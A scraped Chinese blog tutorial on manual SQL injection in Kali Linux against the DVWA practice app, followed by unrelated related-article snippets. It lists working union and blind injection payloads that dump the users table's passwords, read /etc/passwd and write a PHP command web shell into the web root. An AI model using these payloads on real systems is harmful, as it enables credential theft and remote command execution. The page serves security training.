服务器端程序将用户输入作为参数作为查询条件,直接拼写sql语句,并将结果返回给客户端浏览器

如判断登录

select * from users where user='uname' and password='pass'

select * from users where user='name' and password="or"=''

基于报错的检测方法:

'       "    %

查看代码id那里有两个单引号,再插入一个单引号,带入查询了,就可以构造自定义的sql语句

基于布尔的检测:

1' and '1'='1或1' and '1

1'and'1'='2 或1' and '0

表列数/显示信息位于哪一列:

'order by 3--     #按查询列号排序(-- 注释符)

如果猜测不对会返回报错

猜到第二列没返回,说明在第二列

联合查询:

' union select 1,2--

查到对应信息后,查看db用户-----user()   db版本----version()  当前数据库---database()

函数@@datadir--数据库路径   @@hostname--主机名  @@version--数据库版本信息  @@version_compile_os--系统主机版本

查看数据库版本和用户

查看当前数据库

查看数据库路径

mysql数据结构------infomation_schema所有信息都在这个库里面

查看所有的库,和所有的表

' union select table_name,table_schema from information_schema.tables--

统计每个表中的数量

'union select table_schema,count(*) from information_Schema.tables group by table_schema--

查看dvwa库中的表名

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--

查看dvwa表中的所有列

' union select table_name,table_schema from information_schema.tables where table_schema='dvwa' and table_name='users'--

查询dvwa表中的user password列的内容

' union select user,password from dvwa.users--

读取文件

' union select null,load_file('/etc/passwd')--

写入文件(写入木马什么的,前提是要有www目录的写权限)

' union select null,"<?php passthru($_GET['cmd']);?>" into dumpfile"/var/www/xxsec.php"--

然后执行命令

如果没有权限的话,可以配合文件包含漏洞,把文件写到tmp目录下,利用文件包含来执行命令

sql盲注

不显示数据库内建的报错信息,报错信息提供关于系统的大量有用信息

当报错信息隐藏了,或者替换为通用的错误提示,sql注入无法根据报错信息判断语句的执行结果,即盲

思路:无法基于报错结果判断,那就基于逻辑真假的不同结果来判断

1' and 1=1-- (结果为真,返回执行了)

1' and 1=2--(结果为假的时候,没有任何返回,说明逻辑语句被执行了)

1' order by 2-- 查询有两个字段

1' union select 1,2-- 联合查询

1' and 1=0 union select null,table_name from information_schema.tables--

1' and 1=0 union select null,table_name from information_schema.columns where table_name='users'--

友情链接 http://www.cnblogs.com/klionsec

http://www.cnblogs.com/l0cm

http://www.cnblogs.com/Anonyaptxxx

http://www.feiyusafe.cn

kali linux之手动漏洞挖掘三(sql注入)的更多相关文章

  1. kali linux之手动漏洞挖掘二

    漏洞挖掘原则/宗旨----所有变量,所有头(cookie中的变量),逐个变量删除 身份认证 常用若口令/基于字典的密码爆破/锁定帐号 信息收集(手机号,身份证,住址信息等等) 密码嗅探 会话sessi ...

  2. kali linux之手动漏洞挖掘一

    默认安装漏洞 phpmyadmin/setup默认安装 ubuntu/debian默认安装php5-cgi phpmyadmin/setup默认安装 使用?-d+allow_url_include%3 ...

  3. 小白日记37:kali渗透测试之Web渗透-手动漏洞挖掘(三)-目录遍历、文件包含

    手动漏洞挖掘 漏洞类型 #Directory traversal 目录遍历[本台机器操作系统上文件进行读取] 使用者可以通过浏览器/URL地址或者参数变量内容,可以读取web根目录[默认为:/var/ ...

  4. 小白日记35:kali渗透测试之Web渗透-手动漏洞挖掘(一)-默认安装引发的漏洞

    手动漏洞挖掘 即扫描后,如何对发现的漏洞告警进行验证. #默认安装 流传linux操作系统比windows系统安全的说法,是因为windows系统默认安装后,会开放很多服务和无用的端口,而且未经过严格 ...

  5. 小白日记38:kali渗透测试之Web渗透-手动漏洞挖掘(四)-文件上传漏洞

    手动漏洞挖掘 文件上传漏洞[经典漏洞,本身为一个功能,根源:对上传文件的过滤机制不严谨] <?php echo shell_exec($_GET['cmd']);?> 直接上传webshe ...

  6. 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞

    手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...

  7. 漏洞重温之sql注入(五)

    漏洞重温之sql注入(五) sqli-labs通关之旅 填坑来了! Less-17 首先,17关,我们先查看一下页面,发现网页正中间是一个登录框. 显然,该关卡的注入应该为post型. 直接查看源码. ...

  8. 漏洞重温之sql注入(六)

    漏洞重温之sql注入(六) sqli-labs通关之旅 Less-26 进入第26关,首先我们可以从网页的提示看出本关是get型注入. 我们给页面添加上id参数后直接去查看源码. 需要关注的东西我已经 ...

  9. 漏洞重温之sql注入(七)

    漏洞重温之sql注入(七) sqli-labs通关之旅 Less-31 首先,进入31关,我们先添加上id参数. 然后,我们查看源码. 我们门可以看到,index页面源码其实很简单,网页也没有对我们的 ...

随机推荐

  1. 获取Request.Form所有内容

    string wwww = "";        for (int i = 0; i < Request.Form.Count; i++)        {          ...

  2. Ansible之Playbooks的when语句

    在使用ansible做自动化运维的时候,大多数情况下都执行某些任务的时候都需要依赖某个变量的值或者是上一个任务的执行结果.如,根据facts信息中的系统版本相关的信息来确定使用哪种包管理器安装软件.A ...

  3. Delphi.NET

    Delphi.NET Borland.VclDSnap.dll Borland.Vcl.TCustomClientDataSet TFieldType.ftBCD Borland.Vcl.TField ...

  4. Java字节码

    Java字节码 javap -c 反编译.class文件可得字节码 知乎讨论https://www.zhihu.com/question/27831730 栈和局部变量操作 将常量压入栈的指令 aco ...

  5. 20-从零玩转JavaWeb-Super关键字与子类初始化过程

    配套详解视频  super关键字 继承内存分析 this与super对比 继承字段隐藏 继承Object根类 一.Super关键字的作用 this:当前对象,谁调用this所在的方法,this就是哪一 ...

  6. c++多线程编程(三)

    关于WaitForSingleObject函数用法 : 用户模式的线程同步机制效率高,如果需要考虑线程同步问题,应该首先考虑用户模式的线程同步方法. 但是,用户模式的线程同步有限制,对于多个进程之间的 ...

  7. laravel使用ORM操作数据库

    laravel使用ORM操作数据库 public function mode(){ //查询所有 $isok=Student::get(); 新增. (1) $isok=Student::create ...

  8. 客户端级别的渲染分析工具 dynaTrace

    dynaTrace Ajax Edition是一款很好的javaScript性能分析工具.目前支持IE和Firefox 2款浏览器. dynaTrace如图所示: 点击Click here to st ...

  9. SQL CLR学习

    SQL CLR (SQL Common Language Runtime) 是自 SQL Server 2005 才出现的新功能,它将.NET Framework中的CLR服务注入到 SQL Serv ...

  10. Java 基于spring 暴露接口 供外部调用

    在springmvc的配置文件添加创建如下的bean: <!-- 暴露一个webService连接 --> <bean class="org.springframework ...